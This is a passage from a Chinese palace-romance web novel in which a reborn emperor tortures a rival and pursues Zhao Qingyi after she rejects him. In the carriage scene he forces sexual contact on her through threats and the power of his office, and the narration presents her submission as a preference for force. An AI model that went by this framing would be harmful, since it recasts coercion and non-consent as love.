旋即而来的又是眼花缭乱的剑花,伴随着凄厉的惨叫,楚元河利落挑断了他的手脚筋,如此,李彻便成了废人一个,再无力气挣扎逃脱。 “余生,你就好好在牢里待着,你若敢死,朕必将你李家灭门,鸡犬不留,至于你李家祖宗,朕同样不会放过。” 活人五马分.尸,死人,那就挖坟掘墓,谁也别想安生。 既然李彻重生了依旧不长记*性,那就让这屈辱的痛苦折磨再漫长一些。 楚元河没再动手,而是让曹虎代劳,好好“伺候”李彻这个罪人。 他们的对话,曹虎听得云里雾里,不清楚其中的恩怨纠葛,但光想到李彻曾娶过陛下的女人,曹虎便能理解那是何等的深仇大恨,下手时便没收力。 整个地牢,再度充斥着令人毛骨悚然的惨嚎。 楚元河旁观片刻,很快没了兴致,对于弱者,他向来没什么耐心,发泄完怒火他转身出了牢门,刚拐过甬道,便对上一双澄澈平静的眼眸。 楚元河的心咯噔一瞬。 “般……般般?” 第83章 第83章“陛下,我们就此别过吧…… 赵清仪站在甬道另一头,静默地与他对望,旋即转身离开。 “看着点,别轻易让这杂碎死了。”楚元河只来得及同曹虎交代这一句,便快步追了出去。 李彻倒在地上,隔着牢房的栅栏,看向他略微踉跄的脚步,血淋淋的唇齿溢出一抹讥讽的笑。 赵清仪走得并不快,楚元河轻易就追上了她,挡住她的去路。 “般般,我可以解释的!” 他语气急切,下意识想要靠近她,拥抱她,刚一抬手,才发现指尖袖口皆有血迹,又慌忙低头擦拭,可在身上找了半天,也找不出一处干净的位置。 赵清仪极少见他手足无措,顿了顿,将绣着牡丹的手帕递给他。 楚元河微怔,脸上掠过一丝如释重负的笑意,他就知道,他的般般不会生他的气…… 然而他刚接过手帕,眼前的女人忽然后退两步,冲他盈盈一拜。 “般般!” 楚元河愈发惶恐,手也顾不上擦,慌忙扶住她的手肘,不让她跪下,“你不要这样……我们……我们也不该这样……” 他不清楚赵清仪来了多久,又听了多少,想解释却发现脑中一团乱麻,磕磕巴巴道,“我并非存心隐瞒你,欺骗你,我……” “臣女知道。” 赵清仪垂下眼睫,敛去眸底的情绪,语气还是那般温和,却又透着淡淡的疏离,“陛下是九五之尊,陛下行事,自有陛下的理由,臣女以及赵家定会竭力配合陛下,陛下无需向任何人解释,能为陛下,为朝廷效忠,是赵家与臣女应尽的职责。” 知道楚元河身份的那一刻,赵清仪震惊过,愤怒过,但也仅是一瞬,她到底是忆起了他的好。 她不否认这段时日,她们彼此间有过真情,她也给过他坦白的机会,只是没想到,会以如此狼狈的形式知道真相。 赵清仪小心谨慎惯了,忽然有一天发现自己的枕边人竟是帝王,她无法控制自己不去怀疑,怀疑对方最初接近自己的目的。 ……是因为父亲吧。 这一世父亲没有死,赵家大房没有倒,背后还有孟家的万贯家财,确实是值得拉拢的目标,这或许也是她身上唯一值得利用的价值。 赵家与张家交好,但张首辅必须在京中稳定局面,只有赵家是能陛下放心,且可利用的一柄利剑,一柄挥向世家望族的利剑。 如今,陛下的目的达到了,赵家也该激流勇退,若她将过去的感情当真,胁迫楚元河娶她,甚至让她做皇后,那就是蹬鼻子上脸,将来说不准会给赵家招来何等祸患,毕竟伴君如伴虎,将来的事谁又说得准呢。 后退,是赵清仪眼下唯一能做的,以免赵家站在风口浪尖上。 她深思熟虑后的结果,落在楚元河眼中却是另一种情绪。 她在生气。 楚元河听不得她一口一个陛下,前所未有的生分令他不安。 “般般,你不要这样。”他上前两步,想将她拽起来。 赵清仪无动于衷,他急红了眼睛,“我不是有意欺骗你,从头至尾,我对你的情意都是真的,除了身份是假的,我待你的一切,都是发自内心的……” 赵清仪仍是低着头,神色隐匿在夜色中分辨不清。 她极力控制自己汹涌的心绪,不让自己失态,良久,才从喉咙里挤出艰涩的声音,“……这些话,陛下从今往后莫再说了。” 嫁给郡王,她尚且需要鼓起莫大的勇气,又如何承受得起帝王之爱? 帝王的爱最是变幻莫测,嫁给他,才是真的再无退路。 楚元河用力握住她的肩,“般般,你若有怨气,你骂我打我都行,求你……不要用这样的方式推开我……” 他更习惯那个会害羞,会嬉笑怒骂的般般,而不是一个循规蹈矩,冷静理智的赵清仪。 “陛下。”赵清仪叹了口气,缓缓抬起双眸,温声道,“臣女心中并无怨气。” 她不会怨他,这一世因为楚元河的出现,因为他来到她的生命里,她最重要的家人保住了,仅凭这一点,她感激都来不及,又怎会生怨? 她的目光柔和下来,向楚元河表明心迹,“……臣女从未后悔与陛下在一起,但这一切终究是梦幻泡影,陛下,我们就此别过吧。” 楚元河再次怔愣,俊逸的眉眼微微蹙起,似惊慌又似疑惑。 赵清仪的反应完全出乎他的意料,他略微歪头,想从她语气神情中分辨出一丝丝的虚假,可是没有。 他可以确定,赵清仪这番话完全是肺腑之言。 她在向他表达她的情意,表达她的感激,同时,表达了她的拒绝。 意识到这一点,楚元河握住她双肩的手情不自禁地颤抖起来。 赵清仪不着痕迹地瞥了眼肩头上的大手,再次无声叹息,过后她轻轻拂开他的手,又是一拜。 “天色不早,陛下早点歇息,臣女告退。”赵清仪起身离开。 走出不远,就看到同样脚步匆匆的赵怀义。 赵怀义一行人安顿在驿馆里,不日将随楚元河一同回京,然而夜里他想了很久,还是决定寻女儿问个清楚。 女儿如今与陛下有了瓜葛,那么他们之间无论发生什么,对赵家而言都是牵一发动全身,他不得不谨慎,提前寻女儿通气,结果去到县衙得知女儿去了大牢,这才往这边赶来。 父女俩在廊下相遇,赵怀义正欲开口,就见楚元河跌跌撞撞跑过来。 顾不得女儿,赵怀义当即要跪下行礼。 放在从前,楚元河会泰然接受这个礼,可如今当着赵清仪的面,他哪里敢受这一礼,若是此刻跪拜,他们就是君臣。 楚元河更希望他们是翁婿关系,在赵怀义颤巍巍跪下的刹那,楚元河一个箭步冲上来,因为着急他甚至单膝跪地,才堪堪托住赵怀义。 四目相对之际,二人皆是诚惶诚恐。 “老臣罪该万死!” 酝酿片刻,楚元河长出一口浊气,“……赵大人,不必多礼。” 最后还是他将赵怀义搀扶起来,赵清仪赶紧挡在父亲面前,福了福身道,“父亲是寻我心切,礼数不全之处,还望陛下莫怪。” “不……我没有这个意思……” 楚元河张了张口,向来油嘴滑舌伶牙俐齿的他,一时间居然找不到合适的措辞。 赵清仪不想在父亲面前与他有过多牵扯,拉着父亲的袖摆飞快离去。 楚元河好几次想追,可看赵怀义一步三回头的模样,到底忍住了没有追上去,只是僵在原地无力扶额。 他果然还是得意太早了。 …… 赵怀义着实吓得不轻,回驿馆的路上缓过神后,便教训女儿怎可对陛下大不敬。 方才那情形,赵清仪的言行着实不妥,这太不给陛下面子了。 教训完,又追问自家女儿与陛下的关系,以及平西郡王怎么就成了陛下? 这其中关系太过混乱,赵怀义需要女儿这个局中人给他捋捋。 当然最要紧的,还是他打听过这段时日女儿与楚元河之间发生的事,知道他们曾假扮夫妻潜伏钱塘,虽是为公,却也闹得沸沸扬扬,明眼人都看得出,他们之间有情。 回京之后,若消息传开,必定对赵清仪名声不利。 难道,女儿真打算入宫?若不入宫为妃,又不好收场…… 短短时间内,赵怀义脑中飞速掠过几个念头,深宫之中尔虞我诈,女儿这般性子,真能应付得了吗? 从前嫁给李彻时,光赵漫仪一个外室,都叫她难以忍受,而楚元河是皇帝,将来那三宫六院,妃嫔争宠,女儿能适应吗? “般般,你到底是何想法快些说与为父,为父也好早做安排,若你想入宫,那赵家便是你的依靠,为父会尽力托举,让你在后宫站稳脚跟……” “父亲。”赵清仪听了一路,终于忍不住打断赵怀义的絮絮叨叨。 赵怀义脚步一顿,抬起头才发现女儿眼眶通红。 “以后这些话莫再说了,我没想过入宫。”赵清仪深吸口气,勉强挤出一丝笑容,“父亲也该明白,这样才是对我们赵家最有利的局面。” 赵家立功后激流勇退,而她在与他最热烈之际抽身离去,来日楚元河稳坐皇位,回想起赵家,回想起她,都只会想起她们的好。 这份念想,就是赵家最后的保命符。 “此番回京,许多世家将会遭到清算,保不齐就有人想同我们鱼死网破,届时世家联手,对我们群起攻之,即便父亲清清白白,他们也能无中生有,栽赃陷害……此时唯有陛下的怜悯同情,方能确保赵家万无一失。” 听着女儿字字句句的算计,赵怀义愣住。 曾经他为这个女儿骄傲,如今他却觉得心酸。 赵清仪考虑了所有人的生死,唯独没考虑过自己想要什么,就连情爱,也成了她用来保护亲人的筹码。 这不是赵怀义想要的结果。 “般般……” 赵清仪没有给他劝说的机会,“父亲,女儿累了,想回去歇息。”福了福身,转身快步上楼。 回房后,赵清仪落好门闩,强撑的情绪顷刻崩溃,她钻进被褥里哭了一场,到后半夜哭累了,方迷迷糊糊睡过去。 楚元河是后脚跟来的,屏退所有人静静立在房门外,听里头没了动静,才绕到窗下,大手刚按上去,窗便自己开了。 “……” 前一刻还要与他恩断义绝,装作陌路,夜里又偏偏给他留了一扇窗。 明知道他最爱翻窗,也不提防。 总这样嘴硬心软。 楚元河心头五味杂陈,良久,默默松了口气,小心翼翼翻窗进屋,来到她床前。 赵清仪侧躺在软枕上,一头乌发如云铺散,饶是睡着了,眉眼间仍笼着化不开的哀色,垂落的长睫还悬着未干的泪珠。 楚元河慢慢伸手,为她擦拭眼角的泪痕,已然冰冷的泪没入他的指尖,顷刻间化作熔岩,灼得他五脏六腑发疼。 他唇瓣嗫嚅,半晌只缓缓吐出三个字,“对不起……” 榻上的人并无反应,仍熟睡着,楚元河却像打开了话匣,握着她微凉的小手,“原本我想回京之后便与你坦白的……” 重生这件事太过匪夷所思,他不确定自己的解释能否说服赵清仪,而且,他也不是没怀疑过她…… 这一世,赵清仪的许多行为与前世背道而驰。 若真如此,或许,她能理解他的吧。 “般般,你知道吗,我梦见过你的前世,梦见你才三十六岁,便躺在冷冰冰的棺中……” 楚元河坐在脚踏上,将她的手捂在心口,絮絮说起了梦里的事,那个梦冗长而深刻,他置身其中,仿佛也经历了短暂又漫长的一生。 梦里,他为赵清仪报了仇,杀了李家满门,而在她死后的第三年,他于长夜病逝,帝位传给了长公主之子。 兴许是那个梦太过真实,醒来后,他便决定改变这一切,想法设法走近她。 “般般,你曾经……是否也梦见过我?在你的梦里,可曾有过我的一席之地?” 他喃喃低语,旋即又自嘲一笑。 大抵是没有的吧。 楚元河并不后悔自己的所作所为,倘若他不主动,这一世,他依然只会是那个看似高高在上,实则在她心里毫无存在的帝王。 梦里梦外,从来只有他一个人在奋力追逐。 这一刻,楚元河忽然有些累了,他垂下眼眸,一颗热泪倏然滚落。 赵清仪的手轻轻发颤,她却不敢醒来。 那一夜,楚元河记不清自己守在她床前说了多久的话,待到天光微明,他意识到,他该走了。 他站起身,最后在她眉心落下一吻,转身离去。 走出房门不久,赵怀义的声音在廊下突兀地响起,“陛下。” 楚元河停下脚步,与面前神态恭敬的臣子四目相对,事已至此,已经没有隐瞒的必要,他坦然回应这个称呼。 赵怀义的视线穿过他肩头,落在他身后紧闭的房门上。 楚元河的脸上浮现一抹尴尬,“赵大人莫要多心,朕……朕只是看看她,没做什么。” 忖了忖,又觉这话颇有几分此地无银三百两的意味,对上赵怀义古怪的眼神后,索性闭嘴。 赵怀义却露出如释重负的神情,他是过来人,自然看得出陛下的真心,思量再三,他打定主意。 “陛下,不知可否借一步说话?” 第84章 第84章原来你吃硬不吃软…… 赵清仪这一觉睡得并不安稳,醒来后看着自己的手背,独自呆坐许久。 楚元河昨夜还是来了,那些话,她也听见了。 只是很可惜,她没有对抗皇权的能力,更没有与他携手共享天下的勇气,楚元河的身份于她而言,便是一座无形的大山压在背上,让她喘不过气,她只能又一次选择逃避。 以楚元河的身份,他想要什么样的女人得不到,纠缠着她,大抵是两世执念,不甘心罢了。 赵清仪安慰好自己,外头响起了敲门声,赵怀义催促她快些用了晌饭,该启程回京了。 钱塘此番“造反”声势浩大,事情不出意外捅到了上京,便是给了朝廷一个肃清浙江官场的绝佳时机,很快会派新的官员接手浙江事宜,经此一事,新政也将正式推上台面。 至于江家,勾结岐王谋逆在前,逃不过朝廷制裁,赵漫仪再次失势,所幸她回到江家还没来得及正式认祖归宗,姓名未上族谱,在江员外身死当日,她便收拾了大量金银细软逃跑。 为了她的骏哥儿,无论如何她都得活着回到京城,不料才逃出钱塘,就被沿途的百姓认出身份。 当地百姓都知道江员外找到了失散多年的女儿,尤其她脸上带疤,格外好认,他们早就对江家恨之入骨,只可惜江员外死得太快,他们有气没处撒,瞧见孤身一人想要逃跑的赵漫仪,自然就想将怒气发泄在她身上。 赵漫仪一个弱女子根本招架不住,三两下被人抢了细软,还挨了一顿拳打脚踢。 赵漫仪疯了似的要和这帮人理论,对方却扬言要去官府告发她的行踪,她又气又怒,又无可奈何,只能慌不择路地逃跑,心里暗暗发誓,她一定要活下去,要活着回到上京,活着见到她的骏哥儿。 昨儿夜她做了一场美梦,梦见她的骏哥儿了,她的骏哥儿被教养得极好,才二十出头便考中状元,比他亲爹还厉害呢。 等她找到骏哥儿,等骏哥儿参加科考,再中状元,她就是状元亲娘,那是可以请封诰命的,她赵漫仪就能翻身了! 思及此,赵漫仪一路跑,一路笑,状若疯癫,满嘴都是她要当状元亲娘了。 至于赵清仪一行人,浙江事毕,也该功成身退。 赵清仪无甚胃口,送来的晌饭没用几口,又将自己关在房间里,待人马整顿好该上路了,她才神色恹恹地出去。 彼时赵怀义正与孟嘉文说着话,瞧她面色不好,二人对了个眼神。 孟嘉文指了指前头不远处,“表妹,你的马车在那边。” 赵清仪没多想,道了声谢就往前头去,等她撩开帘子钻进车厢,才发现里头还坐了一个人。 她怔愣片刻,当即就想转身下去,拉车的马儿忽然抬起前蹄发出一声长鸣,马车猝然前行。 赵清仪没扶稳,整个人朝马车里跌去。 楚元河眼疾手快,稳稳将她托住。 “多谢陛下。”赵清仪飞快垂下眼帘,要挣开他的手,对方却是用力握住,一把将她带进怀里。 她大惊,“陛下……” 一同回京的人可不少,其他人肯定知道楚元河在这辆马车里,父亲与表哥还偏偏让她上了这辆马车…… 她是被算计了吧? 赵清仪心中懊恼,又被他抱着挣脱不开,强压着脾气,“你放开我。” “不放。”楚元河语气执拗。 赵清仪逆反心起,装都不装了,咬牙使劲儿折腾,可那双臂膀圈着她,就跟铜墙铁壁似的密不透风。 她力气原本就小,加上心情不好没怎么吃东西,这会儿更没力气,所有的挣扎在对方看来,就跟小猫挠人无异。 楚元河好整以暇地垂眸望她,看她因为羞怒涨红了脸。 昨夜他确实想过就此放手,可不巧,赵怀义来找过他,推心置腹说了许多话,他们之间,还做了个小小的交易。 楚元河觉得,这或许是上天给他的机会,这一次,无论如何他都不会放手。 可这些赵清仪根本就不知道,她还疑惑呢,昨晚楚元河那番话分明是要与她分别的,怎么这会儿又像变了个人。 思来想去,只有一个结果。 楚元河果然还是那副阴晴不定的性子,想一出是一出,他说的话没有一句可信。 “陛下这样算什么?”赵清仪挣脱不开,气急败坏,扭头怒瞪着身后的人,提醒他强扭的瓜不甜。 昨日她话都说得那样直白了,还有什么纠缠的必要?好聚好散不行吗? 楚元河闻言嗤笑,“你不觉得你的想法很天真吗?”不等对方反应,他就将她压倒,高大的身躯覆了上去。 赵清仪心惊不已,还要挣扎。 男人阴恻恻的警告声响起,“你再扭?” 察觉到危险逼近,赵清仪浑身僵硬。 那触感,那温度,她再熟悉不过,只是眼下,她们不再是曾经亲密无间的关系。 楚元河如此做,只会让她觉得难堪羞愤。 赵清仪咬着唇,“……陛下请自重!” “之前你不是这么说的。”楚元河决定无赖到底,“之前,你明明很喜欢……” 灼热的气息缠绕在她颈侧,这里是她最敏感的位置之一,每回亲密,只要他一靠近,她便会娇羞得瑟缩起来,这次同样不例外。 他刚俯下身,她便觉脖颈又痒又麻,不自觉发出一声轻喘。 待声音出口,赵清仪便后悔了,索性咬紧牙关,闭上双眼。 她就不信,这还是在马车上,外头又跟了那么多侍卫,还有她爹和表哥,她就不信楚元河这个皇帝当得这般猖狂,敢在马车里对她动手动脚。 楚元河幽深的眸底噙着淡淡的笑意,“般般,你总这样嘴硬,朕该拿你如何是好?” “别喊我。”赵清仪不想摒弃最后的一丝骨气。 “那喊你什么,夫人?” “……闭嘴!” “行,皇后娘娘,这个称呼可配得上你?” 赵清仪快气炸了,这人怎么就听不懂话呢? 那气息还在她颈侧流连,激起一身颤栗,赵清仪无法自欺欺人地忽视他,猛的睁开眼睛色厉内荏道,“你最好放开我,否则我要喊人了。” “你喊一声试试?” 楚元河收起笑意,冰凉的指尖抚上她的小脸,低声威胁,“你敢喊,朕就敢立刻要了你。” 赵清仪再次震撼,他、他居然说出如此不要脸的话?! “你……” 看着对方蠢蠢欲动的姿态,赵清仪知道,他真能说到做到。 她又急又气,憋得满脸通红,快要哭了。 熟悉的感觉又回来了,终于不再是昨夜要与他恩断义绝时的冷漠嘴脸。 楚元河强忍笑意,板着脸,故作阴沉道,“外头那么多只耳朵听着呢,一会儿马车晃起来,或是你叫出来,你猜猜看,他们会不会知道我们做了什么?” 赵清仪的腿被他压制着,双手也被大掌捉住禁锢在头顶,她只能仰起头要往男人脸上咬,想报复他,却总是差那么一点。 “你敢动我,你……你就是昏君!” “敢骂朕是昏君的,你是头一个。”骂了这么多年,楚元河习惯了,甚至很享受她这副羞恼地样子,“反正明眼人都瞧得出来,朕喜爱你,你逃不出朕的手掌心。” 赵清仪满腹委屈,她甚至不知道自己在委屈什么,就是不喜欢他现在的样子,强势,霸道,不讲道理。 可是,这似乎又应该是他原本的样子。 他是大梁的皇帝,从未有人能忤逆他,又是她亲手推开他,将他摆在这个高高在上的位置上。 细想来,赵清仪觉得是她自作自受,但她不想承认,她做出宁折不弯的样子,“你做梦!” 她不信父亲不来救她。 “那要不试试?”楚元河露出玩味挑衅的笑,低头堵上她的唇。 赵清仪张嘴要骂,那长舌趁虚而入,勾缠住她的小舌,不让她有狡辩怒骂的机会。 他们曾是最亲密的人,彼此的气息再熟悉不过,纵然赵清仪有心远离他,可她的身体总会比她的心先一步接纳他。 而楚元河同样了解她,娴熟地搅弄起来。 赵清仪被吻得迷迷糊糊,险些沦陷进去,当大手探入她裙摆时,她恍然惊醒,尖利的牙齿用力咬上他的唇瓣,淡淡的血腥味瞬间在二人唇齿间蔓延开来。 楚元河倒吸一口凉气,紧接着一记耳光裹挟着香风袭来。 他不避不闪,结结实实挨了一下。 赵清仪打完,看了眼半空中微微发麻的掌心,愣住了。 她……她又打了他。 若是从前,打便打了,可如今她面前的不再是她的外室,而是陛下,她这一巴掌,牵连着阖家性命。 赵清仪屏住呼吸,盯着男人脸上飞快浮现的巴掌印,呆呆的不敢再动。 楚元河捕捉到她脸上一闪而过的慌乱,擦过被她咬破皮的嘴角,又摸了摸隐隐作痛的脸嗤笑出声,“朕从前太纵容你,你是越打越趁手了。” 下一刻,他又捉住她细白的手腕,“……如何,打完解气了么?” 赵清仪眼眸闪了闪,他……居然没生气? 刚刚听了前半句,还以为他要发作,治她大不敬之罪。 楚元河瞧她呆愣的模样,那张俊脸凑得更近了,“若是一巴掌不够,你再多打几下?还是……你想打别处?” 也不是不行,但若打他身上,怕赵清仪把自己的手打疼了。 他挨得太近,近到他的唇又要亲到她了。 赵清仪小脸涨得通红,怕他又来亲自己,二话不说再度抬手,但这次没打中。 楚元河轻轻攥住她细白的手腕,她便动弹不得。 男人一点点掰开她紧握的手指,露出泛红的掌心,“瞧瞧,手都红了……”说话间,眼底掠过一抹心疼,又情不自禁低头,吻了吻她的手心。 “……” 赵清仪脑中轰鸣,气到七窍生烟。 简直受不了他! 她明明在生气,在反抗,他干什么呢?莫不是疯了? “你、你放开……唔……” 叫嚣斥骂的声音未落,楚元河又猛的将她拉入怀中,刻意惩戒般再次狠狠吻上她的唇,与先前吻她掌心的温柔截然不同。 赵清仪气不过,也打不过,尖利的指甲挥舞拍打,也只在他脖颈上挠出几道浅浅的印子。 男人却丝毫不觉得疼,只有被打断的不快,他就亲一会儿,她都这般厌烦了吗? 一股无名火窜了上来,楚元河无法接受她厌烦自己的事实,二人唇瓣稍一分离,他便恶狠狠威胁,“你再乱动,朕就把绑起来!” 被人捏住手腕,赵清仪顿时泄了气,任他揽在臂弯里,只是无论如何她都不肯回应他的亲吻。 楚元河感觉到她的僵硬,挑起她秀气的下巴,薄唇反复浅啄,语气又缓和下来,哄着她,“放松点……” 赵清仪死死抿着唇,不想理他。 在他的脑袋埋进来时,她终于抑制不住哭出了声。 那声音低低的,不同于欢好时的娇泣,听着很是委屈。 他以前根本不会这样强迫于她。 还是说……这才是他的本性? 此前发生过的一切,都只是她的一场梦。 思及此,赵清仪鼻头忽然一阵酸涩,眼泪不受控制地垂落。 楚元河这才停下,语气幽幽,透着一股难言的冷,“……你就这么不乐意? 他的眼神莫名刺痛了赵清仪的心,如同细密的针缓而慢地扎进去,她还无法适应他的冷淡。 却又一次言不由衷,“陛下是九五之尊,想要什么样的女子没有?又何苦非要缠着我不放?” 楚元河快气笑了,“你说的对,朕想要的,必须得到,你也不例外。” 赵清仪根本不懂,他已经拿她没办法了,为了她,他一再降低自己的底线,为她一退再退,用尽千般手段才走在一起。 楚元河不是不能接受她撒泼愤怒,甚至是拳打脚踢,怎么都行…… 可结果呢,她偏偏选择与他好聚好散?他们的感情就这般脆弱不堪一击? 还是他看起来太好说话,才让她萌生出如此天真的念头? 楚元河不是没有脾气的人,相反的,他脾气一向不太好,挨过打的西北三十六部最清楚。 只有在赵清仪面前,他拿出了此生所有的耐心,但此刻也快压抑不住内心的暴躁与狂乱,只想用非常手段强留她。 管他三七二十一,把人留住才是最要紧的。 楚元河吻得越来越凶,若非他的气息熟悉,赵清仪都快认不出眼前的男人了,在他脸上,再看不到过去的温柔顺从,只有强烈到无法忽视的占有与控制。 一夕之间,他们的位置调换,天翻地覆,她手里再无半分主导权…… 不,或许从一开始,她自以为掌握在手的主导权,只是他觉得有趣,暂且交给她罢了。 没有谁可以驯服帝王,除非是他眼中的猎物,一只柔弱毫无抵抗之力的猎物,且能让他觉得有趣,才会与这猎物逗弄嬉戏,玩玩权力交换的戏码。 而这一切追究到底,源于他有随时反扑猎物的能力,这才不介意让出这片刻的主导权,却足够让她这只闯入陷阱的猎物得意忘形。 赵清仪就是那只得意忘形的愚蠢猎物。 如今对方不陪她玩这场游戏了,她在他手里根本毫无反抗的余地。 她颓然闭上双眼,默然承受这一切。 可她的反应只会让男人变本加厉,亲吻过后,楚元河的掌心贴着她的小腿滑了进去,本能的想从她这里索取更多,拆吃入腹。 赵清仪身子止不住地颤抖,下意识的并拢膝弯,抬腿欲踹。 男人的掌心阻挡其间,顶着脸上的巴掌印,声音淡淡的,“你要抗旨?” 她不是一直都认为他皇帝的身份才是阻碍么?她不是无力反抗皇权么?她不是要在他面上装个乖顺知进退的臣子之女吗? 她明明就有放肆的机会,偏偏不要,偏偏推开他。 那他就要让她好好瞧瞧,帝王之爱该是怎样的,如今他的话就是圣旨,就是命令。 赵清仪又能如何? 一听“抗旨”二字,深深的无力感如乌云压顶,让她挣扎后依旧喘不过气,在对方坚毅灼热的眸光下,她紧绷并拢的膝盖缓缓松懈了,颤抖的睫羽也染上泪意。 楚元河这个混蛋…… 男人将她的自暴自弃尽收眼底,面上闪过一丝惊讶,随后是了然,以及再也装不下去微微上扬的嘴角。 温言软语的哄她时她不乐意,结果一威胁就老实了? 这是……吃硬不吃软? 楚元河忽然轻笑出声,“原来……你喜欢这样?” 第85章 第85章不是惩罚,是调.情…… 男人声音低哑,缠在她耳畔流连,猝不及防咬上她的小巧的耳垂,粗粝的掌心缓慢却不断游移。 赵清仪的脸腾地涨红,诡异的酥麻传遍四肢百骸,她本能地想躲开,却被困在这狭小的车厢里,喷洒在耳垂处的气息让她止不住的颤栗。 若是平常她还能勉强应对,可这里并非无人之境,一想到马车外有成百上千的人随行,她一颗心都提到了嗓子眼,唇快咬出血了,依旧无法完全阻止呜咽。 她终于低头,哭着求他住手。 嘴上哀求,心里却是将人骂了个遍。 楚元河敏锐捕捉到她眼底一闪而逝的气愤,清楚她的羞耻心又回来了,他就想不明白,直面自己的欲.望很难吗? 为什么她总是在意那些不重要的东西,身份,脸面,羞耻。 这些东西都比他重要,为此她不惜自欺欺人,装作不在乎他的样子。 思及此,那张俊脸越来越沉。 赵清仪害怕极了,她根本不敢去看薄衫下的涌动起伏,泪眼涟涟地望着他。 从前她只要稍稍生气,或是放下身段求一求,他都会顺着她。 可这一次赵清仪又失算了*。 指尖的侵袭势如破竹…… 傍晚,马车终于缓缓停在驿站前,赵清仪如水一般瘫在角落里,察觉马车停下,慌忙整理衣裙要下去。 她不要跟楚元河待在一起了,她要去找父亲,不然找表哥也行。 结果刚挑开车帘,就发现四周静悄悄的,前后除了几个暗卫正在喂马以外,压根见不到其他人。 楚元河在后头轻轻拥住她,明知故问,“在找谁?” 赵清仪甩开他,“我父亲呢?还有我表哥呢” “这么多人,当然是分开走了,你不是害羞么?如今人少了,你又不高兴?” “你……” 赵清仪气急,时常因为自己的笨嘴拙舌懊恼。 楚元河真是不要脸! “你到底对我父亲做了什么?” 父亲向来最疼她,先前她说了那么多,父亲必然也明白她的顾虑,怎么就丢下她不管了?把她留在楚元河身边,不是羊入虎口吗? 除非…… “你威胁他了?” 楚元河听到这句话,心脏微不可察的抽疼了一瞬,对上赵清仪愠怒的眸子,那情绪很快压了下去。 他勾了勾嘴角,笑意不达眼底,“朕在你眼里,就是如此卑鄙之人?” “……” 赵清仪不想搭话,他自己心里没数吗? 她抿了抿唇,语气决绝,“你若堂堂正正,当初便不会骗我。” 留在他身边还是太危险了,她必须狠下心来。 赵清仪进了驿站,问人要了一份舆图,猜测父亲可能回京的路线。 楚元河坐在一旁冷眼瞧着,心里百般焦灼,最后还是气不过,一把夺过舆图甩给暗卫,“别看了,等回了京,你自然那就能见到他们。” 既然在她心里,他就是个为达目的不择手段,不惜用她家人威胁她的人,那还有什么可解释的。 之后楚元河干脆把人困在身边,不允许她离开自己视线范围内,赵清仪起初反抗,后来发现他并没有再对自己做出逾矩之事,便也忍耐下来。 半月后,一行人终于抵京,文武百官在张首辅的带领下,早早在午门整装候驾,自浙江事了,陛下没了隐藏身边的必要,百官怀揣着激荡的心,期待面见天颜的那一刻。 而楚元河入京后便换上了御辇,赵清仪很不幸被拽入其中。 尽管御辇四周有帐幔垂落,可沿途百姓依旧隔着朦胧的帐幔,看见两道身影。 一男一女,男的自然是传闻中极少露面的皇帝陛下,至于那女子身份,百姓间众说纷纭,有人说是番邦公主,有人说是钱塘的富家小姐,又有人猜测,那或许是陛下养在宫外多年的外室…… 总之猜什么的都有,一时间勾起了众人的好奇心。 赵清仪在御辇中坐立难安,不难猜到,接下来到了午门,或许迎接她的就是文武百官的瞩目。 她丢脸是其次,她不想牵扯赵家,还是别露脸的好。 “陛下,臣女可否与你商量件事?”时隔半月,这是赵清仪语气最好的一次。 楚元河猜到她要说什么,无非是想临阵脱逃,“你是以何身份同朕讨价还价?” “……” 赵清仪深吸口气,“陛下……” 楚元河笑了笑,看向她的眼神意味深长,“般般,做任何事,都要懂得付出代价,朕陪你演了这么久的外室,能给你的都给了,你如今想翻脸不认账?” 赵清仪被堵得哑口无言,这都什么事?怎么弄得好像她才是犯了错的罪魁祸首? “曾经那是你情我愿,我不也没要求你什么……” 她也把能给他的都给了,他还想怎样? “你没要求,那是你的事。”楚元河捉着她的手,搁在腿上细细摩挲,眼神定定望着前方的午门,“但朕有要求,区区一个外室身份,你是在折辱朕?” 他可不是无私奉献的人,凡事必有所图。 赵清仪:“……” 这话怎么越听越奇怪,明明是他自己先来招惹她,要做她外室的,又来反咬一口。 “那你就当我才是那个外室,行吗?” 看着越来越近的文武百官,赵清仪快急哭了,拼命想从他手里挣脱,“从前都是臣女有眼不识泰山,还望您高抬贵手,放了臣女。” 楚元河仍握着她细白的腕,残忍地吐出两个字,“不、行。” 话音落,耳边传来女子的啜泣声。 又哭。 楚元河强忍烦躁,最近他真不爱听她哭,一哭就好像他又做了什么罪大恶极的事,他就会愧疚难受。 赵清仪一边哭,一边偷眼看他,这是她最后的手段了,谁让楚元河吃软不吃硬。 好在她的法子拙劣却奏效。 楚元河松开手,语气缓和了些,“暂且放你一马,你好好待着,若是趁机乱跑……” 赵清仪连忙保证自己不会跑,这大庭广众之下,她又能跑去哪里? 御辇中,二人的挣扎拉扯映入百官视线,张首辅等人面面相觑,也在猜测那女子身份。 只有赵怀义在这一刹那低下头去,悄悄抹了把汗,但愿女儿知道真相的那一刻,不要生他的气。 他也是为了女儿的终身大事考虑啊。 赵怀义心虚至极,面对同僚的私下议论,讪笑敷衍。 随着楚元河从御辇中.出来,百官终于亲眼见到了陛下的真容,纷纷跪地高呼万岁,一时间也没人再关注御辇中的女子。 赵清仪尽可能降低自己的存在,躲在御辇中,大气都不敢出。 楚元河还要应付百官,挥挥手示意宫人将御辇抬进宫里。 赵清仪震惊不已,但此刻若逃,将再无回寰的余地,只能任由宫人抬起御辇,径直将她送到紫宸殿前。 ……她还是稀里糊涂入宫了。 福贵早得了吩咐,亲自前来迎接,开口便唤娘娘,“陛下有旨,请娘娘在紫宸殿内稍事休息,陛下一会儿就来。” 其余宫人皆附和跪地,唤她娘娘。 赵清仪欲反驳这个称呼,可想到福贵这番话定然是受楚元河吩咐的,便又打消了念头,解释也是浪费口舌,症结还是在楚元河身上。 赵清仪脑中转个不停,还在想如何与对方斗智斗勇,好全身而退,几个手脚麻利的宫女忽然撩开帘子,将她从御辇中扶了出来。 赵清仪不明就里,被裹挟着进了殿内的净室,宫女们二话不说开始解她衣裳。 “哎——” 喊到一半,她就被带到池子里。 为首的宫女笑眯眯的,“娘娘连日奔波辛苦了,陛下特意嘱咐奴婢们侍奉娘娘沐浴更衣。” 赵清仪总觉得哪里不对,试图从水里出来,宫女们瞧着柔柔弱弱,手劲儿却不小,硬是将她按了回去。 赵清仪悔得肠子都青了,怪她先前话说得太绝,楚元河如今是破罐破摔了。 让她此刻沐浴更衣,能有什么好事?尤其还在他的寝殿里。 